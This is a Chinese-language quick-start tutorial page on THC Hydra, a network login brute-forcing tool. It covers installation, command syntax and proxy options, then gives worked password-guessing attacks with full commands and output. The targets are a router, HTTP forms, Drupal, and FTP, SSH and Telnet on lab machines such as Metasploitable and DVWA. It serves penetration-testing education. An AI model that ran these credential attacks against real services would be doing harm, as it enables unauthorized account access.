1. 程式人生 > >Medusa(美杜莎)和Hydra(九頭蛇)快速入門手冊:02

Medusa(美杜莎)和Hydra(九頭蛇)快速入門手冊:02

本文是Medusa和Hydra快速入門手冊的第二部分,第一部分的傳送門這兩篇也是後續爆破篇的一部分,至於字典,放在最後,後續會把祖傳的幾十G字典準備好

Hydra入門使用手冊

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

目錄

0×00什麼是Hydra?

0x01Hydra-GTK

0×02如何安裝

0×03如何使用Hydra?

0×04參考文件

0×05爆破例項

0×06免責說明

0×07聯絡我們

0×08防範措施

0×00什麼是Hydra?

 

Clipboard Image.png

一個非常快速的網路登入破解程式,支援許多不同的服務。

檢視功能集和服務覆蓋頁面-包括與ncrack和medusa的速度比較 當前版本:8.6

最後更新2017-07-21

(c)vanHauser/THC的2001-2017

 

@thc.org; http://www.thc.org

 

許多模組都是由David(dot)Maciejak @ gmail(dot)com編寫的

 

BFG程式碼由Jan Dlabal提供

 

[email protected]

 

在AGPLv3下許可(見LICENSE檔案)

 

請不要在軍事或祕密服務機構使用,

 

或為非法目的。

0×00什麼是Hydra?

首先,歡迎來到THCHydra專案的mini-website。

每個密碼安全研究顯示錶明,最大的安全漏洞之一是密碼。 而九頭蛇是一個併發的登入破解程式,支援許多協議攻擊。新模組更容易新增,除此之外,Hydra是靈活和迅速的

Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上測試和編譯,並在GPLv3下提供了特殊的OpenSSL許可證擴充套件。

目前此工具支援:

Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,

HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,

HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,

PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,

SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

對於HTTP,POP3,IMAP和SMTP,支援多種登入機制,如plain和MD5等。

這個工具是一個概念模型,是 為了讓安全員和安全顧問驗證提供一種可能性:從遠端系統到系統的未經授權的訪問是多麼容易。

該程式被寫入了vanHauser,並得到了DavidMaciejak的額外支援。

0x01Hydra-GTK

1.選擇目標,準備爆破

 

Clipboard Image.png

2.選擇爆破ID,爆破字典

 

Clipboard Image.png

3.Hydra結果和輸出

 

Clipboard Image.png

0×02如何安裝

第一部分:下載

1.生產/釋出版本:

最新的Hydra的原始碼:hydra-8.6.tar.gz

(在所有基於UNIX的平臺上編譯-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)

2.發展版本:

您可以下載並編譯當前在GITHUB儲存庫中開源的開發版本的hydra:

https://github.com/vanhauser-thc/thc-hydra

可以選擇:

 svn co https://github.com/vanhauser-thc/thc-hydra

或者:

 git clone https://github.com/vanhauser-thc/thc-hydra.git

注意這是開發版本!新功能-伴隨著新的bug。可能會導致Hydra無法執行!

1.只有舊版的Hydra才能使用原始碼,只要是v7.x,就可以讓您在不尋常的舊平臺上出現問題:

hydra-5.9.1-src.tar.gz

2.Win32/Cywin二進位制版本:—不再更新—

http://www.cygwin.com安裝cygwin並自行編譯。如果您沒有安裝cygwin – 那你將如何通過cygwin做適當的安全測試呢?.

這裡是舊版本的ARM和Palm二進位制檔案,我們已經不再維護:

ARM:hydra-5.0-arm.tar.gz

Palm:hydra-4.6-palm.zip

第二部分:編譯

Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平臺上都可以編譯。

$ tar xvzf hydra-5.7-src.tar.gz

$ cd hydra-5.7-src /

一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關係被安裝以編譯C程式。配置Hydra使用:

$ ./configure

它甚至可以在舊版本的SunOS,Ultrix等平臺進行編譯;Htdra有很多可選模組,比如用於SSH的庫,SVN等網路協議。

如果有些庫消失了,這些庫可能就是不被您的二進位制檔案支援。如果您在Linux上,麻煩以下命令,這將安裝所有必需的庫:

Ubuntu / Debian:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat / Fedora:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE:

zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

以上所有可選的模組和功能不包括Oracle,SAPR/3和Apple檔案協議-所以您需要從提供源的網站下載和安裝。

對於Oracle,這是(基本安裝和SDK包)的地址:

http : //www.oracle.com/technetwork/database/features/instant-client/index.html

對於所有其他Linux派生和基於BSD的系統,請使用系統軟體安裝程式並查詢類似命名庫,如上面的命令。

在所有其他情況下,您就只能手動下載所有源庫並手動編譯;Hydra的配置指令碼會告訴您什麼庫是缺失,以及可以從哪裡獲得。

0×03如何使用Hydra

3.1.簡單使用

當你剛剛進入“hydra”,您將看到一個重要的簡短摘要:可用選項輸入“./hydra -h”以檢視所有可用的命令列選項。

請注意,不包括登入/密碼檔案。你需要自己生成它們,或者使用別人已經生成的;然而,預設密碼列表存在,使用“dpl4hydra.sh”生成一個列表。對於Linux使用者,可以使用GTK gui,嘗試“./xhydra”

對於命令列用法,語法如下:

對於攻擊一個目標或網路,您可以使用新的“://”樣式:

hydra[某些命令列選項]協議://目標:埠/選項

舊模式也可以用於這些,另外如果你想的話,從文字檔案中指定目標,你必須使用這個:

hydra[某些命令列選項][-s埠]目標協議選項

通過命令列選項,您可以指定要嘗試的登入名,哪些密碼,如果使用SSL,需要使用多少個並行任務才能進行攻擊等。PROTOCOL是您要用於攻擊的協議,例如ftp,smtp,http-get或許多其他可用目標都是要攻擊的目標,選項是每個PROTOCOL模組特殊的可選值。

第一:選擇您的目標

您有三個選項可以指定要攻擊的目標:

1.命令列上的單個目標:只需將IP或DNS地址放入

2.命令列上的網路範圍:CIDR規範如“192.168.0.0/24”

3.文字檔案中的主機列表:每個條目一行(見下文)以文字形式形成一份txt文件

第二:選擇您的協議

嘗試避免telnet,因為檢測到正確或錯誤的登入嘗試是不可靠的。其次可以使用埠掃描器檢視目標上啟用了哪些協議。

第三:檢查模組是否有可選引數

hydra-U協議:例如hydra-Usmtp

此外:目標埠

目標埠是可以自己選擇的!如果沒有提供預設公用埠,可以自行設定協議的埠;

如果指定要使用SSL(“-S”選項),則預設使用SSL公用埠。如果使用“://”符號,則必須使用“[”“]“括號去支援IPv6地址或CIDR(“192.168.0.0/24”)爆破:

hydra[一些命令列選項]ftp://[192.168.0.0/24]/

hydra[某些命令列選項]-6smtp://[2001:db8::1]/NTLM

請注意,所有hydra都是IPv4的!如果要攻擊IPv6地址,則必須新增“-6”命令列選項。所有攻擊都將會是IPv6!

如果要通過文字檔案提供目標,則不能使用://符號,但使用舊樣式,只提供協議(和模組選項):

hydra[某些命令列選項]-Mtargets.txtftp

可以在每個目標之後新增“:”,為每個目標條目提供埠,例如:

foo.bar.com

target.com:21

unusual.port.com:2121

default.used.here.com

127.0.0.1

127.0.0.1:2121

請注意,如果要附加IPv6目標,則必須提供-6選項,*必須*將IPv6地址放在檔案[]中的括號中,

如下所示:

foo.bar.com

target.com:21

[FE80::1%的eth0]

[2001::1]

[2002::2]:8080

[2A01:24A:133:0:00:123:FF:1A]

3.2登入和密碼

有很多關於登入和密碼攻擊的選項,比如使用-l進行登入,-p為密碼,請告訴hydra這是唯一的登入嘗試和/密碼嘗試。

使用-L進行登入,-P為密碼,您可以提供帶條目的文字檔案。

例如:

hydra -l admin -p password ftp:// localhost /

hydra -L default_logins.txt -p test ftp:// localhost /

hydra -l admin -P common_passwords.txt ftp:// localhost /

hydra -L logins.txt -P passwords.txt ftp:// localhost /

此外,您可以通過“-e”選項根據登入嘗試密碼。“-e”選項有三個引數:

s - 嘗試登入密碼

n - 嘗試一個空的密碼

r - 反轉登入並嘗試密碼

如果你想,例如嘗試“嘗試登入密碼和”空密碼“,你在命令列上指定“-e sn”。但是,嘗試密碼的方式還有兩種:-p /P:

您可以使用文字檔案,文字內的登入名和密碼對由冒號分隔,例如:

管理員:密碼

測試:測試

FOO:酒吧

這是一個常見的預設帳戶樣式列表,也是由dpl4hydra.sh與hydra一起提供的預設帳戶檔案生成器生成的。當使用這樣一個文字檔案與-C選項 – 請注意,在這種模式下你不能使用-l / -L / -p / -P選項(-e nsr但是可以)。例:

hydra -C default_accounts.txt ftp:// localhost /

最後,有一個使用-x選項的暴力模式(你不能使用-p / -P / -C),

使用-x minimum_length:maximum_length:charset

字符集定義是小寫字母的“a”,大寫字母的“A”,“1”的數字和其他任何你提供它是他們的真實代表。

例子:

-x1:3:a將所有小寫字母從長度1到3生成密碼

-x2:5:/將密碼從長度2到5只包含斜槓

-x5:8:A1使用大寫和數字生成長度為5到8的密碼

例:

hydra -l ftp -x 3:3:a ftp:// localhost /

3.3模組的特殊選擇

通過第三個命令列引數(TARGETSERVICEOPTIONAL)或-m命令列選項,您可以將一個選項傳遞給模組。許多模組使用這個,有幾個需要它!要檢視模組的特殊選項,輸入:

hydra -U <module>

例如:

./hydra -U http-post-form

特殊選項可以通過-m引數作為第三個命令列傳遞,選項或服務://target/option格式。

例子(他們其實是一樣的):

./hydra -l test -p test -m PLAIN 127.0.0.1 imap

./hydra -l test -p test 127.0.0.1 imap PLAIN

./hydra -l test -p test imap://127.0.0.1/PLAIN

3.4恢復被破壞/中斷的會話

當Hydra被Control-C中止,死亡或者崩潰時,它會留下“hydra.restore”檔案,檔案包含所有必要的資訊,所以我們可以恢復會話。但要注意該會話檔案每5分鐘寫一次。此外:hydra.restore檔案不能複製到不同的平臺(例如從低位編碼littleendian到高位編碼bigendian,或從solaris系統到aix)

3.5如何掃描/破解程式碼

環境變數HYDRA_PROXY_HTTP定義了Web代理(只為http服務!)。

以下語法有效:

HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”

HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”

HYDRA_PROXY_HTTP = “proxylist.txt”

最後一個例子是一個包含多達64個代理的文字檔案(同樣的),格式定義作為其他示例。

對於所有其他服務,請使用HYDRA_PROXY變數進行掃描/破解。它使用相同的語法。例如:

HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:[email protected]] proxy_addr:proxy_port

例如:

HYDRA_PROXY =connect://proxy.anonymizer.com:8000

HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080

HYDRA_PROXY = socksproxylist.txt

3.6額外的提示

*按可能性排序您的密碼檔案,並使用-u選項查詢密碼更快!

*單擊你的字典檔案!這可以節省你很多時間:-)

cat words.txt | sort | uniq > dictionary.txt

*如果您知道目標是使用密碼策略(允許使用者),只能選擇最小長度為6的密碼,至少包含一個密碼,字母和一個數字等使用工具pw-inspector,用hydra包減少密碼列表:

cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt

3.7結果輸出

結果輸出到stdio以及其他資訊。通過-o命令列選項,結果也可以寫入檔案。使用-b,並且可以指定輸出的格式。目前,這些被支援:

*文字-純文字格式

*`jsonv1`-使用版本1.x的JSON資料(定義如下)。

*`json`-JSON資料使用最新版本的模式,目前在那裡只是版本1。

如果使用JSON輸出,結果檔案可能不是有效的JSON,如果有的話,Hydra的嚴重錯誤。

###JSONSchema

以下是JSON輸出示例。標記一些引數的注意事項:

*`errormessages`-通常列印的零個或多個字串的陣列在九頭蛇的執行結束時到stderr。文字是非常自由的形式。

*“success”-指示Hydra是否正常執行,是否是沒有錯誤(**NOT**如果檢測到密碼)。該引數是JSON值“true”或“false”取決於是否完成密碼爆破。

*`quantityfound`-發現了多少使用者名稱+密碼組合。

*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra將使2.0版本從低位跨越雙位元組高位,(而不是隻有v1.1vsV1.10)。低版本是不斷疊加的,所以1.02將包含比1.0版本更多欄位去實現向後相容。版本2.x也將會從1.x版本的輸出去掉一些東西。

1.00的案例:

Version 1.00 example:
 

{

“errormessages”: [

"[ERROR] Error Message of Something”,

“[ERROR] Another Message”,

“These are very free form”

],

“generator”: {

“built”: “2017-03-01 14:44:22″,

“commandline”: “hydra -b jsonv1 -o results.json … …”,

“jsonoutputversion”: “1.00″,

“server”: “127.0.0.1″,

“service”: “http-post-form”,

“software”: “Hydra”,

“version”: “v8.5″

},

“quantityfound”: 2,

“results”: [

{

"host": "127.0.0.1",

"login": "[email protected]",

"password": "bill",

"port": 9999,

"service": "http-post-form"

},

{

"host": "127.0.0.1",

"login": "[email protected]",

"password": "joe",

"port": 9999,

"service": "http-post-form"

}

],

“success”: false

}

0×04參考文件

Hydra帶有一個相當長的README檔案來描述,有關使用和特殊選項的詳細資訊。當然你也可以參考本文快速入門。

但有時詳細的線上幫助可以大大提高您的效率。

推薦閱讀以下連結,部分可能需要梯子,自備哦

安裝:

http://www.madirish.net/content/hydra-brute-force-utility

一般用法和選項:

http://www.aldeid.com/wiki/Thc-hydra

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)

HTTP基本認證:

https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29

http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html

基於HTTP表單的auth:

http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html

http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29

多協議:

http://www.madirish.net/content/hydra-brute-foece-utility

Telnet:

http://www.adeptus-mechanicus.com/codex/bflog/bflog.html

對於那些用DVWA測試的人來說,這就是你想要的:

hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”

以下對參考文件主要內容的詳細介紹,取其精華,去其糟粕,同樣,也會增加例項到滲透測試:爆破篇,敬請期待

0×05爆破例項

接下來將簡單描述幾個Hydra使用的例項!

例項1.爆破路由器

思路:當你登入路由器預設管理地址時,使用Hydra爆破

首先,找到你的路由器IP,你應該已經知道了,我的是192.168.1.1,此路由器的預設使用者名稱為“admin”。如果由於某種原因,不記得密碼了,現讓我們來找回密碼。

然後,開啟準備好的Hydra,windows下開啟CMD或Powershell開啟命令提示符並進入到Hydra目錄

執行下面的命令替換你的值(命令標誌區分大小寫)。

hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /

實際命令如下所示:

hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /

命令分解:

hydra – > hydra程式

-l – >(小寫“L”不要與大寫字母混淆i)單個使用者名稱到目標。使用大寫-L來指定使用者名稱列表

-P – >提供密碼list的路徑。-p嘗試單個密碼,即“passw0rd”

-s – >埠目標您的路由器可能會執行在不同的埠,如8080

{IP地址}這個不用解釋

http-get – >暴力破解的服務部分

“/” – >這將指定要定位的頁面,如果這被排除,命令將不會執行。“/”只是表示不包括root“

如果你的字典和Hydra一樣強,你將在輸出行收穫一個使用者名稱和密碼,這也意味著你成功了!

例項2.爆破HTTP

首先需要確認的幾件事情:

返回頁面

Post引數

文字嘗試失敗

返回頁面

這通常與登入頁面相同,但並不總是如此。所以只需檢視頁面的原始碼,並找到一個方法讓表單=“post”。動作值是將被“釋出”的頁面的值。正如你可以看到要釋出的頁面是“index.php”

Post引數

這些可以通過檢視登入頁面的原始碼來找到。表單中的所有標籤都將被髮布。帖子名稱將是標籤的“name”屬性。如果它有一個定義,該值將是“值”屬性。相應的,你可以使用firefox外掛Hackbar篡改資料擴充套件。

文字嘗試失敗

這是登入嘗試失敗時在網頁上找到的文字。

把它們放在一起:

網站:www.sillychicken.co.nz/administrator/

返回頁面:index.php

返回值是:usrname=(使用者輸入),pass=(使用者輸入),提交=Login

現在,我們從頁面源中提取,嘗試登入到管理頁面,我們得到一個javascript彈出視窗,其中顯示“使用者名稱不正確,密碼……”

“不正確的使用者名稱”聽起來像是不會顯示的文字,如果是一個成功的登入,我們將使用它。

讓我們將它們全部融入Hydra中:

hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“

我的命令看起來像:

hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”

命令分析

hydra->hydra程式

-l->(小寫“L”不要與大寫字母混淆i)單個使用者名稱到目標。使用大寫-L來指定使用者名稱列表)我已經為此演示設定了“hydra”帳戶,並已被刪除

-P->提供密碼lis的路徑。-p嘗試單個密碼,即“passw0rd”

-s->埠到http的預設埠為80

-f->在第一個匹配後退出程式

{SiteAddress}IEwww.sillychicken.com ->不要包含http://

http-post-form->服務到暴力 HydraREADME具有http-form-post的命令,將會發生錯誤

{Pathtopostbackpage}->所有後續站點地址必須以“/”開頭

{USERNAME_NAME}->使用者名稱回發變數名稱

^USER^->這將被替換為由-l或-L使用者名稱指定的使用者名稱

^PASS^->這將被替換為定義的列表中的密碼

{Failedlogintext}->只會在失敗中找到的文字登入

注意事項:*確保是從http-post-form“到結束命令之後

例項3.爆破Drupal站點

安裝九頭蛇

為了安裝Hydra,首先從http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下載Hydra原始碼 unzip hydra:

$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /

一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關係被安裝以編譯C程式。配置Hydra使用:

$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...

                                ... NOT found, SSL support disabled

Get it fromhttp://www.openssl.org

Checking for Postgres (libpq.so) ...

                             ... found

Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...

                          ... NOT found, module svn disabled

Checking for firebird (libfbclient.so) ...

                                   ... NOT found, module firebird disabled

Checking for NCP (libncp.so / nwcalls.h) ...

                                     ... NOT found, module NCP disabled

Checking for SAP/R3 (librfc/saprfc.h) ...

                                  ... NOT found, module sapr3 disabled

Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp

Checking for libssh (libssh/libssh.h) ...

                                  ... NOT found, module ssh2 disabled

Get it fromhttp://www.libssh.org

Checking for GUI req's (pkg-config) ...

                                ... found

Hydra will be installed into .../bin of: /usr/local

(change this by running ./configure --prefix=path)

Writing Makefile.in ...

now type "make"

這些錯誤意味著某些依賴關係未安裝。你仍然可以使用沒有這些依賴關係的Hydra,但如果沒有這些依賴關係,你將無法使用它們支援的協議。例如,上述錯誤意味著我們將無法執行SSL,SVN,甚至SSH爆破。除了這些常見的協議之外,錯誤表明支援firebird,NCP,SAP都缺少相應的依賴。Firebird是一種資料庫技術。NCP是用於控制NetWare裝置的NetWare支援協議,SAP /R3是用於客戶關係型別包(認為結算和業務任務有關)的協議。不支援這些協議,Hydra的實用程式受到嚴格限制,因此你應該努力尋找支援這些功能的軟體包。安裝程式提供了一些有用的連結來查詢所需的庫。一般來說,如果你搜索[package]-dev或-devel,找到你的發行版的支援庫。

現在在Fedora上使用:

$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel

這應該允許使用除SAP庫之外的所有庫。

一旦安裝了所有依賴項,通過重新執行configure,然後make和最後make install命令。確保作為“make install”命令的特權使用者執行,以便將所需的庫放在檔案系統上(即使用“sudo make install”)。

安裝完成後,你可以從命令列使用Hydra或GUI版本的xHydra。使用命令列對於大多數需求是完全足夠的,但是有時GUI是有幫助的。

有效的爆破

暴力攻擊的力量受到攻擊者提供的輸入的限制。當嘗試猜測使用者名稱和密碼時,有兩個主要的策略:

第一個是嘗試盲目的爆破。為此,攻擊工具會從預定義集合的組合中生成使用者名稱和密碼。通常這是數字和字母。例如,在盲目爆破攻擊中,系統首先嚐試使用密碼“a”作為使用者“a”登入。接下來,它嘗試以使用者’a'登入,密碼為’b'等等,迴圈遍歷所有可能的笛卡爾可能性。這種方法在時間上是非常低效的,但最終將找到有效的憑據。

第二種方法是使用列表作為輸入。為此,將向攻擊工具提供使用者名稱和密碼列表。然後,該工具將使用者列表中的第一個帳戶和密碼列表中的第一個密碼,依次連續嘗試每個使用者的密碼。這可以通過將可用輸入限制到更小的集合來加快此過程。

暴力攻擊的主要缺點是他們花費的時間很長。然而,通過減少變數,可能會加速暴力攻擊。收集使用者名稱/密碼樣式認證系統的有效使用者列表將有效使用者的猜測限制,極大地減少了連線嘗試次數。許多服務將以公開有效的使用者帳戶如電子郵件地址或其他顯示資料的形式,提供給Hydra的使用者檔案,這樣準確性將大大提高。

用例:爆破Drupal

九頭蛇可以用於許多不同型別的暴力攻擊。Hydra對於老式的爆破工具(如Brutus)的一個優點是其能夠執行HTTP post form攻擊。這允許你使用Hydra來攻擊基於Web的應用程式,甚至是具有反XSRF格式令牌的應用程式。

Hydra的一個潛在用例是測試Drupal使用者名稱和密碼的強度。例如,如果在http://172.16.46.129/drupal-6.16/中安裝了Drupal站點,我們可以使用任意數量的方法來收集users.txt中有效使用者列表(包括http:// www.madirish.net/?article=443)。一旦我們有一個使用者列表和可能的密碼列表(可能儲存為passwords.txt),同時我們需要發現一個最終的元件。Drupal使用令牌保護所有表單(包括登入表單),因此我們需要在Web瀏覽器中提取目標,檢視原始碼並找到令牌元件,例如:

</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>

<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>

注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,這是我們需要提供的令牌,因此Drupal可以驗證表單的帖子。除了表單令牌之外,你還需要找到表單欄位名稱以及表單後期操作URI。收集所有這些資料後,最後一步是在登入失敗時找到出現在頁面中的唯一字串。沒有這個Hydra無法確定登入嘗試是否成功。預設情況下,Drupal提供字串“對不起,無法識別的使用者名稱或密碼”。密碼失敗時。裝備了這最後的資訊,我們可以開始一個九頭蛇暴力攻擊:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 11:56:02`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 172.16.46.129 login: admin password: password

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

Hydra (http://www.thc.org\ finished at 2010-06-25 11:56:03`

以上輸出顯示,Hydra使用使用者名稱“admin”和密碼“password”成功登入到目標站點。請注意,這兩個值都分別顯示在user.txt和passwords.txt檔案中。

Hydra可以用來攻擊一長串協議。例如,使用以下命令可以攻擊上述同一主機上的SSH伺服器:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 12:17:35`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service ssh2 on port 22

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

[22][ssh2] host: 172.16.46.129 login: admin password: password

Hydra (http://www.thc.org\ finished at 2010-06-25 12:17:39`

同樣,此輸出顯示登入“admin”和密碼“password”可以用於訪問目標上的SSH。

例項4.爆破FTP和Web

1.介紹

當攻擊者想要了解線上系統時,他可以使用字典爆破攻擊。下面簡單介紹了兩種型別的攻擊,並解釋瞭如何使用Hydra啟動線上字典攻擊。

2.爆破與字典攻擊

攻擊者可以嘗試所有可能的密碼組合(暴力方法)。好處是對獲得正確密碼是有利的。缺點是這是一個非常耗時的過程。

攻擊者可以建立一組連線數字(字典中的示例性模式)的通用字,並嘗試從該集合中的每個組合。這種方法(字典攻擊)可以節省攻擊者的時間,因為他不必強制整個關鍵空間。缺點是不能保證找到正確的密碼。然而,打入正確密碼的可能性是非常好的。

3.環境

Hydra被描述為支援許多服務的網路登入破解者。下面簡單介紹如何使用Hydra啟動對FTP和Web表單的線上字典攻擊。

Metasploitable是一種基於Linux的漏洞環境虛擬機器。例如,它可以用於練習滲透測試技能。請記住,此機器易受攻擊,不應以橋接模式執行。

DVWA(Damn Wulnerable Web Application)是一種有意易受攻擊的Web應用程式。對於那些想要了解Web應用程式安全性的人來說,這是非常棒的環境。DVWA是Metasploitable的一部分。

4.字典

讓我們建立兩個簡短的描述字典。

使用者列表(list_user):

1

2

3

admin_1

admin

msfadmin

密碼列表(list_password)

1

2

3

4

password_1

password

msfadmin

password_2

有12種組合進行檢查(3個使用者4次密碼)。這些組合包括DVWA登入表單和Metasploitable FTP(DVWA登入表單的管理員/密碼; Metasploitable FTP的msfadmin / msfadmin)的預設憑據。

5.Metasploitable字典攻擊FTP

使用以下命令啟動攻擊:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V

使用上述字典(list_user和list_password)。Metasploitable FTP伺服器的IP地址為192.168.56.101。這就是為什麼在命令中使用ftp模組。應該使用-V來檢視每次嘗試的使用者名稱和密碼。

如下所示,Hydra已經找到一對有效的使用者名稱和密碼(使用者名稱:msfadmin,password:msfadmin)。

 

Clipboard Image.png

6.DVWA詞典攻擊Web登入表單

使用以下命令啟動攻擊:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

上述字典(list_user和list_password)再次被使用。DVWA的IP地址為192.168.56.101。DVWA的登入表單可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。當用戶登入時,生成以下請求(由Burp Suite 攔截):

 

Clipboard Image.png

關鍵部分標記在螢幕截圖上。它們是http-post-form模組引數的值:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

^ USER ^和^ PASS ^分別替換為使用者名稱(來自list_user)和密碼(list_password)。當登入嘗試失敗時,伺服器將以“登入失敗”訊息進行響應,該訊息是最後一個引數的值。

最後,應該使用-V來檢視每次嘗試的使用者名稱和密碼。

如下所示,Hydra已經找到一對有效的使用者名稱和密碼(使用者名稱:admin,password:password)。

 

Clipboard Image.png

7.總結

本文介紹了兩種型別的線上密碼攻擊(爆破,字典),並介紹瞭如何使用Hydra對FTP和Web表單啟動線上字典攻擊。Hydra是一個支援許多服務的網路登入破解者

[1]。Metasploitable可用於實踐滲透測試技能

[2]。DVWA(Damn Wulnerable Web Application)對於那些想要使用Web應用程式安全性的人來說是有幫助的。

參考文獻:

Hydra

http://www.thc.org/thc-hydra/

[2] Metasploitable

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

[3] DVWA(Damn Wulnerable Web Application)

http://www.dvwa.co.uk/

[4] Burp suite

http://portswigger.net/burp/

例項5.爆破Telnet

爆破是一個相當簡單的思維,也是一個非常強大的想法。簡單地說這是什麼意思 攻擊者將嘗試每個可能的字元組合,以嘗試猜測你的密碼/金鑰等。這是為什麼密碼很重要的原因之一,因為爆破攻擊會找到你的密碼,你需要確保密碼爆破在所需時間使其在技術上不可行。我們也簡要地看了一下使用爆破來破解你所擁有的密碼檔案,但是這次我爆破一些登入服務。

憂慮

這兩個主要原因是:

許多公司通過其防火牆允許一些服務,無論是ftp,pop3,ssh甚至網頁登入到某個地方。所有這些都可以是爆破的。此外,這樣做的工具易於使用和獲取。

爆破的基本概念有所改變。許多爆破工具允許你指定密碼或使用者名稱列表。這是因為使用這些比傳統的爆破更快。但是使用現代的硬碟驅動器大小和方法(彩虹表,組合攻擊等),使用所有可能的字元組合建立一個檔案是非常可行的,使用這樣一個檔案會減少執行這種攻擊所需的時間。

使用linux系統進行爆破

讓我展現出一個可以在linux和相關係統上使用的實用程式 – Hydra。

該軟體來自THC,它是一個非常有用的基於命令列的程式,可以處理許多不同的協議。這是從4.6版本我正在使用的列表

支援的協議:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]

讓我們從一個簡單的服務開始 – telnet ..

# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08

[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task

[DATA] attacking service telnet on port 23

[23][telnet] host: 10.0.0.50 login: easy password: 12345

[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h

[23][telnet] host: 10.0.0.50 login: public password: joe

[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h

[23][telnet] host: 10.0.0.50 login: sue password: joe

[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08

現在首先,這個伺服器有一些很簡單的密碼和使用者名稱設定(你可以看到),現在看看我使用的交換機..

